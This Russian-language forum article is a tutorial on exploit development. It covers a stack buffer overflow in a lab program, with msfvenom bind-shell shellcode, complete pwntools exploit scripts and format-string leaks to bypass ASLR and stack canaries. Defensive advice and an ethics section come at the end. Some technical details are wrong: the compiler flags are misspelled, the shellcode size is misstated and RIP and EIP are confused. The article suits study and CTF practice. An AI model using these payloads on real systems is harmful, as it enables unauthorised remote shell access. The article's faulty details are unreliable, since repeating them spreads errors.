• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Статья Пишем свой эксплойт: введение в exploit development для практикующих пентестеров

  • Автор темы Автор темы Luxkerr
  • Дата начала Дата начала
Схема разработки эксплойта: от анализа уязвимости до выполнения shell-кода


Вы когда-нибудь мечтали не просто использовать чужие эксплойты, а создавать собственные, которые работают в боевых боевых условиях?

Представьте, что перед вами не закрытая уязвимость, а дверь, которую вы откроете собственноручно — и войдёте в мир эксплойт-девелопмента. От заинтересованности до практического применения — один шаг.


Exploit development — это увлекательная и сложная область кибербезопасности, которая позволяет понять, как уязвимости в системах и приложениях могут быть использованы для выполнения нежелательных действий. Для пентестеров и исследователей безопасности это ключевой навык для поиска уязвимостей, включая 0-day, и тестирования систем на устойчивость к атакам. В этой статье мы разберем основы exploit development: от переполнения буфера до написания и тестирования простого эксплойта. Также рассмотрим современные защиты, способы их обхода и этические аспекты, чтобы мы могли начать свой путь безопасно и эффективно.

Что такое exploit development?​

Exploit development — это процесс создания кода, который использует уязвимости в приложениях или системах для выполнения произвольных действий, таких как запуск вредоносного кода, получение доступа к конфиденциальным данным или повышение привилегий. Эксплойты часто разрабатываются для:
  • Переполнения буфера: Запись данных за пределы выделенной памяти, что может привести к выполнению произвольного кода.
  • Недостаточной проверки входных данных: Например, SQL-инъекции или некорректная обработка пользовательского ввода.
  • Уязвимостей контроля доступа: Неправильная авторизация, позволяющая получить доступ к защищенным ресурсам.
  • Форматных строк: Неправильная обработка строк формата (например, %s, %n) в функциях вроде printf, что может привести к утечке данных или выполнению кода.
В этой статье мы сосредоточимся на переполнении буфера, так как это одна из самых известных и доступных для изучения уязвимостей.

Основы переполнения буфера​

Переполнение буфера возникает, когда программа записывает данные за пределы выделенного массива в памяти, что может повредить соседние данные, включая указатель возврата (RIP) (регистр процессора в x86-64, содержащий адрес следующей выполняемой инструкции), и перенаправить выполнение программы на вредоносный код. В статье "Переполнение буфера и размещение шеллкода в памяти..." подробно разобрано, как размещать shellcode для эксплуатации таких уязвимостей.

Как работает стек?​

Чтобы понять переполнение буфера, нам нужно знать, как устроен стек — структура данных типа LIFO (Last In, First Out), используемая для хранения локальных переменных и управления вызовами функций. При вызове функции в стеке сохраняются:
  • Локальные переменные: Например, массивы вроде buffer для хранения данных.
  • Базовый указатель (RBP): Регистр, указывающий на базовый адрес текущего кадра стека, используемый для восстановления контекста вызывающей функции.
  • Указатель возврата (RIP): Адрес в памяти, куда программа вернется после завершения функции.
Вот примерная схема стека:
Код:
 Высокие адреса памяти
+---------------------+
| Аргументы функции   |
+---------------------+
| Указатель возврата (RIP) |
+---------------------+
| Базовый указатель (RBP)  |
+---------------------+
| Stack canary        |
+---------------------+
| Локальные переменные     |
| (например, buffer[100])  |
+---------------------+
 Низкие адреса памяти
При переполнении буфера мы можем перезаписать RIP, чтобы перенаправить выполнение на наш код (shellcode — машинный код для выполнения желаемых действий, например, запуска терминала).

Пример уязвимого кода​

Рассмотрим программу на C, уязвимую к переполнению буфера:
C:
#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[100];
    strcpy(buffer, input); // Уязвимость: нет проверки длины входных данных
    printf("Input: %s\n", buffer);
}

int main() {
    char user_input[200];
    printf("Enter input: ");
    fgets(user_input, sizeof(user_input), stdin);
    vulnerable_function(user_input);
    return 0;
}
Здесь функция strcpy копирует входные данные в массив buffer без проверки их размера. Если введем строку длиннее 100 байт, произойдет переполнение, которое может перезаписать RIP.

Пошаговая разработка эксплойта​

Создадим эксплойт для этой программы, используя Linux x86, Python и инструменты вроде gdb (отладчик) и msfvenom (инструмент для генерации shellcode из Metasploit). Для обучения мы отключим современные защиты (ASLR и stack canaries), чтобы сосредоточиться на базовых принципах.
GNU Debugger — мощный отладчик, который позволяет анализировать выполнение программы, просматривать содержимое памяти, регистров и стека, а также управлять процессом выполнения (ставить точки останова, шагать по инструкциям). В exploit development gdb помогает определить, как входные данные влияют на программу, и найти точное место переполнения буфера.

Шаг 1: Настройка тестовой среды​

  1. Устанавливаем окружение:
    • Работаем в виртуальной машине с Ubuntu 20.04 (или аналогичной ОС).
    • Устанавливаем инструменты: sudo apt install gcc gdb python3 python3-pip msfvenom.
    • Устанавливаем библиотеку Pwntools (библиотека Python для упрощения разработки эксплойтов): pip3 install pwntools.
  2. Отключаем защиты:
    • Отключаем ASLR (Address Space Layout Randomization), механизм, рандомизирующий адреса памяти: sudo sysctl -w kernel.randomize_va_space=0.
    • Компилируем программу с отключенными защитами:
Bash:
gcc -m32 -fno-stack-protect -z execstack -o vulnerable vulnerable.c
  • -m32: Компилируем для 32-битной архитектуры.
  • -fno-stack-protect: Отключаем stack canaries (специальные значения в стеке для обнаружения переполнения).
  • -z execstack: Отключаем DEP (Data Execution Prevention), делая стек исполняемым.
3. Проверяем защиты:​
  • Используем checksec (инструмент для анализа защит бинарных файлов): checksec ./vulnerable. Убедимся, что защиты отключены.

Шаг 2: Анализ в gdb​

Чтобы написать эксплойт, нам нужно найти точное смещение (offset) до RIP — количество байт, необходимое для перезаписи указателя возврата.
  1. Запускаем программу в gdb:
Bash:
gdb ./vulnerable
2. Создаем уникальный паттерн:​
  • Используем Pwntools для генерации циклического паттерна (уникальной строки для определения смещения):
Bash:
python3 -c "from pwn import *; print(cyclic(200))" > input.txt
3. Находим смещение:​
  • Запускаем программу с паттерном: (gdb) run < input.txt.
  • При сбое проверяем значение EIP (32-битный аналог RIP): (gdb) info registers.
  • Если EIP, например, 0x63416164, находим смещение:
Bash:
python3 -c "from pwn import *; print(cyclic_find(0x63416164))"
Допустим, смещение = 112 байт.

Шаг 3: Генерация shellcode​

Shellcode — это машинный код, который выполняет желаемое действие, например, запуск /bin/sh. Используем msfvenom для создания shellcode:
Bash:
msfvenom -p linux/x86/shell_bind_tcp PORT=4444 -f python -b "\x00"
Пример вывода (45 байт):
Python:
shellcode = (
    b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
    b"\x5b\x5e\x52\x66\x68\x11\x5c\x6a\x02\x6a\x10\x51\x50\x89\xe1"
    b"\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43"
    b"\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b"
    b"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\xcd\x80"
)
Этот shellcode открывает TCP-соединение на порт 4444, позволяя подключиться к удаленному терминалу.

Шаг 4: Написание эксплойта​

В статье "Создание Эксплойта: Переполнение буфера стека" подробно описано, как использовать ROP для обхода DEP, что полезно для продвинутого изучения. Теперь создадим Python-скрипт, который переполнит буфер и перенаправит выполнение на shellcode:
Python:
from pwn import *

# Параметры
binary = "./vulnerable"
offset = 112  # Смещение до RIP, найденное в gdb
ret_addr = 0xffffd1ec  # Адрес буфера, найденный в gdb (пример)
shellcode = (
    b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
    b"\x5b\x5e\x52\x66\x68\x11\x5c\x6a\x02\x6a\x10\x51\x50\x89\xe1"
    b"\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43"
    b"\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b"
    b"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\xcd\x80"
)

# NOP sled для повышения надежности
nop_sled = b"\x90" * 50  # Последовательность NOP-инструкций, позволяющая "скользить" к shellcode при неточном адресе

# Формируем payload: [A * offset][адрес возврата][NOP sled][shellcode]
payload = b"A" * offset + p32(ret_addr) + nop_sled + shellcode

# Запускаем процесс и отправляем payload
p = process(binary)
p.sendline(payload)
p.interactive()

Объяснение:
  • NOP sled: Последовательность инструкций \x90 (NOP — "No Operation") позволяет процессору "скользить" к shellcode, даже если адрес возврата слегка неточен.
  • ret_addr: Указывает на адрес в памяти, где находится NOP sled или shellcode (найден в gdb).
  • p32(ret_addr): Упаковывает адрес в 32-битный формат (для x86).

Шаг 5: Тестирование​

  1. Запускаем эксплойт: python3 exploit.py.
  2. Подключаемся к shell: nc 127.0.0.1 4444.
  3. Если всё работает, мы получим shell.

Современные защиты и их обход​

В реальных системах эксплойты усложняются из-за защит, таких как ASLR (Address Space Layout Randomization, рандомизирующий адреса памяти) и stack canaries (специальные значения в стеке для обнаружения переполнения). Для обучения мы отключили эти защиты, но понимание их обхода важно для продвинутого exploit development. Мы рассмотрим базовые техники обхода ASLR и stack canaries в контролируемой среде.

Обход ASLR​

ASLR делает адреса памяти (например, адрес буфера или библиотек) непредсказуемыми, что затрудняет указание точного ret_addr в эксплойте. Один из простых способов обхода — утечка памяти (memory leak), которая позволяет узнать адрес в памяти.

Пример техники: Утечка адреса через форматную строку​

Если программа уязвима к атаке форматной строки (уязвимость, позволяющая читать или записывать данные в памяти через неправильное использование функций форматирования), мы можем извлечь адрес из стека.
  1. Модифицируем уязвимый код: Допустим, программа содержит уязвимость форматной строки:
C:
#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[100];
    strcpy(buffer, input);
    printf(input); // Уязвимость форматной строки
}

int main() {
    char user_input[200];
    printf("Enter input: ");
    fgets(user_input, sizeof(user_input), stdin);
    vulnerable_function(user_input);
    return 0;
}
2. Извлекаем адрес:​
  • Вводим форматную строку, например: %08x.%08x.%08x.%08x.
  • Это выводит значения со стека, включая адрес буфера.
  • Используем gdb или pwndbg (плагин для gdb, упрощающий анализ памяти и регистров) для анализа вывода:
Bash:
gdb ./vulnerable
(gdb) run
(input) %08x.%08x.%08x.%08x
Допустим, вывод: 41414141.b7fd1234.0804a000.ffffd1ec. Последний адрес (ffffd1ec) может быть адресом буфера.
3. Используем адрес в эксплойте:​
  • Обновляем ret_addr в скрипте эксплойта, используя полученный адрес.
  • Повторяем шаги из раздела "Написание эксплойта", заменив ret_addr = 0xffffd1ec на новый адрес.
Примечание: В реальных сценариях утечка может быть сложнее (например, через функции вроде puts для вывода адресов библиотек). Для практики мы рекомендуем попробовать задачу на pwnable.kr, например, "format string". В статье "Root-Me, App-System, ELF x64 - Stack buffer overflow - basic" подробно разобрана CTF-задача с переполнением буфера и утечкой адресов в 64-битной архитектуре

Обход stack canaries​

Stack canaries — это специальные значения, размещаемые в стеке перед RIP, которые проверяются перед возвратом из функции. Если canary изменён, программа завершает работу, предотвращая переполнение.

Пример техники: Утечка canary через форматную строку​

  1. Предполагаем программу с включённым canary:
  • Компилируем без -fno-stack-protect:
Bash:
gcc -m32 -z execstack -o vulnerable_with_canary vulnerable.c
Canary добавляется компилятором (например, gcc использует __stack_chk_fail).
2. Извлекаем canary:​
  • Используем уязвимость форматной строки для чтения canary со стека:
Bash:
python3 -c 'print("%08x." * 20)' > input.txt
(gdb) run < input.txt
Canary — это случайное значение (например, 0x12345678), обычно расположенное между buffer и RIP.
3. Модифицируем эксплойт:​
  • Включаем canary в payload, чтобы программа не завершилась:
Python:
from pwn import *

binary = "./vulnerable_with_canary"
offset = 112  # Смещение до canary
canary = 0x12345678  # Утечённое значение canary
ret_addr = 0xffffd1ec  # Адрес буфера
shellcode = (...)  # Тот же shellcode из шага 3
nop_sled = b"\x90" * 50

# Payload: [A * offset][canary][filler до RIP][адрес возврата][NOP sled][shellcode]
payload = b"A" * offset + p32(canary) + b"B" * 8 + p32(ret_addr) + nop_sled + shellcode

p = process(binary)
p.sendline(payload)
p.interactive()
Здесь B * 8 — заполнитель между canary и RIP (обычно RBP).
Примечание: В реальных сценариях canary сложнее извлечь без дополнительных уязвимостей. Для практики мы рекомендуем CTF-задачи с форматными строками или частичным переписыванием.

Дополнительные замечания по обходу​

  • ASLR: В реальных системах адреса библиотек (например, libc) также рандомизируются. Для обхода мы можем использовать ROP (Return-Oriented Programming) — технику, использующую существующие куски кода ("гаджеты") в программе, найденные с помощью ROPgadget (инструмент для поиска гаджетов в бинарных файлах).
  • Stack canaries: Утечка canary требует дополнительных уязвимостей (например, форматных строк или переполнения с частичным переписыванием). Без таких уязвимостей обход практически невозможен.
  • Этическая практика: Мы тестируем эти техники только в контролируемой среде (виртуальная машина, CTF). Использование их на реальных системах без разрешения незаконно.

Инструменты для разработки эксплойтов​

  • gdb с pwndbg (расширенный плагин для gdb, упрощающий анализ памяти и регистров): Отладчик для анализа программ и поиска смещений.
  • Metasploit: Фреймворк для создания и тестирования эксплойтов.
  • Pwntools: Python-библиотека для автоматизации разработки эксплойтов.
  • msfvenom: Инструмент для генерации shellcode.
  • ROPgadget: Инструмент для поиска гаджетов в бинарных файлах для ROP-цепочек.
  • checksec: Инструмент для проверки защит бинарного файла (ASLR, DEP, canaries).
  • Immunity Debugger: Отладчик для Windows (если мы работаем с Windows).
Можем использовать pwndbg следующим образом:
Bash:
gdb ./vulnerable
(gdb) source /path/to/pwndbg/gdbinit.py
(gdb) run < input.txt
(gdb) cyclic_find <EIP_value>

Типичные ошибки​

  1. Неправильное смещение: Если offset неверный, мы перезапишем не RIP, а другие данные.
  2. Защиты: Игнорирование ASLR, DEP или stack canaries приводит к сбою эксплойта.
  3. Некорректный shellcode: Например, наличие нулевых байтов (\x00) в shellcode, если программа их фильтрует.
  4. Неточная адресация: Неправильный адрес возврата из-за ASLR или ошибок в gdb.

Защита от переполнения буфера​

  • Используем безопасные функции: strncpy вместо strcpy, snprintf вместо sprintf.
  • Включаем ASLR: kernel.randomize_va_space=2.
  • Обеспечиваем, чтобы стек и другие области памяти были неисполняемыми (DEP).
  • Включаем проверку целостности стека: -fstack-protect.
  • Проверяем размер и тип входных данных.

Этические аспекты и легальная практика​

Exploit development — мощный инструмент, но его использование без разрешения владельца системы незаконно.
Где можно практиковаться:
  • CTF-платформы (Capture The Flag — соревнования по кибербезопасности): HackerLab.pro, OverTheWire, pwnable.kr, Hack The Box, TryHackMe.
  • Лабораторные среды: Настраиваем виртуальную машину для безопасного тестирования.
  • Bug Bounty программы: Платформы, где мы можем легально искать уязвимости за вознаграждение.
Важно: Мы никогда не тестируем эксплойты на реальных системах без письменного согласия.

Заключение​

Exploit development — это сложная, но захватывающая область, которая требует понимания работы памяти, программирования и современных защит. Начав с переполнения буфера и освоив обход защит, мы заложим основу для поиска и эксплуатации 0-day уязвимостей. Мы практикуемся в безопасной среде, используем правильные инструменты и соблюдаем закон.

Часто задаваемые вопросы​

С чего начинаем изучение exploit development?
  • Изучение C, Python и основ ассемблера.
  • Освоение работы со стеком и отладкой в gdb/pwndbg.
  • Практикуемся на CTF-задачах (HackerLab, OverTheWire, pwnable.kr).
Какой язык программирования лучше для exploit development?
  • C: Для написания уязвимых программ и понимания памяти.
  • Python: Для создания эксплойтов (с Pwntools).
  • Ассемблер: Для написания и понимания shellcode.
Как защищаемся от переполнения буфера?
  • Используем безопасные функции (strncpy, snprintf).
  • Включаем ASLR, DEP и stack canaries.
  • Проводим аудит кода.
Как долго учиться, чтобы писать 0-day эксплойты?
  • Базовые навыки осваиваются за 6–12 месяцев упорной практики. Поиск 0-day требует нескольких лет опыта и глубокого понимания систем.
Где легально практиковаться?
  • Используйте CTF-платформы (HackerLab, Hack The Box, TryHackMe) или настраивайте свою виртуальную машину.
А теперь к вам вопрос:
Кто уже писал или пытался написать свой эксплойт? Какие подходы сработали, а какие — привели в тупик? Поделитесь кейсами, советами или тем, над чем вы сейчас ломаете голову — давайте вместе прокачаем свои навыки до уровня реального пентестера, который создаёт инструменты, а не гоняется за чужими.

💬 Жду ваших историй и вопросов — в комментариях начинается настоящее эксплойт-приключение!
 
Последнее редактирование:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы